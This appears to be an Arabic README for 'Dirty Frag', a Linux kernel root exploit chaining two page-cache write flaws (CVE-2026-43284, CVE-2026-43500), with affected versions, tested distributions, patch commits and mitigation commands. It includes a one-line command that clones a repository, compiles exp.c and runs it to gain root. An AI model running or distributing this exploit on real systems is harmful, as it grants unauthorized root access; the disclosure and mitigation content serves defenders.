
سلسلة استغلال ثغرات نواة Linux (CVE-2026-43284 وCVE-2026-43500) التي تحقق صلاحيات root عبر ثغرات الكتابة في page-cache الخاصة بـ xfrm-ESP وRxRPC.
Linux CVE-2026-43284 & CVE-2026-43500
منسوخ من @V4bel :) شكرًا :)
تصف هذه الوثيقة فئة ثغرة Dirty Frag، التي اكتشفها وأبلغ عنها لأول مرة Hyunwoo Kim (@v4bel)، والتي يمكنها الحصول على صلاحيات root على توزيعات Linux الرئيسية عبر تسلسل ثغرة xfrm-ESP Page-Cache Write (CVE-2026-43284) وثغرة RxRPC Page-Cache Write (CVE-2026-43500).
Dirty Frag هي حالة توسّع فئة الأخطاء التي ينتمي إليها كل من Dirty Pipe وCopy Fail. ولأنها خطأ منطقي حتمي لا يعتمد على نافذة زمنية، فلا حاجة إلى race condition، ولا يتعطل النواة عند فشل الاستغلال، ونسبة النجاح عالية جدًا.
للحصول على معلومات تقنية مفصلة والجدول الزمني، انظر هنا.
تم إصلاح xfrm-ESP Page-Cache Write (CVE-2026-43284) في mainline f4c50a4034e6.
تم إصلاح RxRPC Page-Cache Write (CVE-2026-43500) في mainline aa54b1d27fe0.
الاستغلال : يُشغَّل فقط في المهام المصرّح بها !!
أمر واحد: git clone https://github.com/Minime794/DirtyFrag.git && cd dirtyfrag && gcc -O0 -Wall -o exp exp.c -lutil && ./exp
خطوة بخطوة :
أولاً قم بترجمة الـ exploit، ثم شغّل الملف التنفيذي
gcc -O0 -Wall -o exp exp.c -lutil
./exp
!! التنظيف
⚠️ مهم: بعد تشغيل هذا الـ exploit، تصبح الـ page cache ملوّثة. لمسح الـ page cache الملوّثة وضمان استقرار النظام، شغّل إما:
echo 3 > /proc/sys/vm/drop_caches
أو أعد تشغيل النظام. الإصدارات المتأثرة
CVE-2026-43284: ثغرة xfrm-ESP Page-Cache Write ضمن النطاق من cac2661c53f3 (2017-01-17) حتى f4c50a4034e6 (2026-05-05).
CVE-2026-43500: ثغرة RxRPC Page-Cache Write ضمن النطاق من 2dc334f1a63a (2023-06-08) حتى aa54b1d27fe0 (2026-05-10).
بعبارة أخرى، العمر الفعلي للثغرتين يبلغ حوالي 9 سنوات.
تم اختبار Dirty Frag على إصدارات التوزيعات التالية.
Ubuntu 24.04.4: 6.17.0-23-generic
RHEL 10.1: 6.12.0-124.49.1.el10_1.x86_64
openSUSE Tumbleweed: 7.0.2-1-default
CentOS Stream 10: 6.12.0-224.el10.x86_64
AlmaLinux 10: 6.12.0-124.52.3.el10_1.x86_64
Fedora 44: 6.19.14-300.fc44.x86_64
...
التخفيف
استخدم الأمر التالي لإزالة الوحدات التي تحدث فيها الثغرات ومسح الـ page cache.
sh -c "printf 'install esp4 /bin/false\ninstall esp6 /bin/false\ninstall rxrpc /bin/false\n' > /etc/modprobe.d/dirtyfrag.conf; rmmod esp4 esp6 rxrpc 2>/dev/null; echo 3 > /proc/sys/vm/drop_caches; true"
بمجرد أن تقوم كل توزيعة بنقل التصحيح (backport)، قم بالتحديث وفقًا لذلك.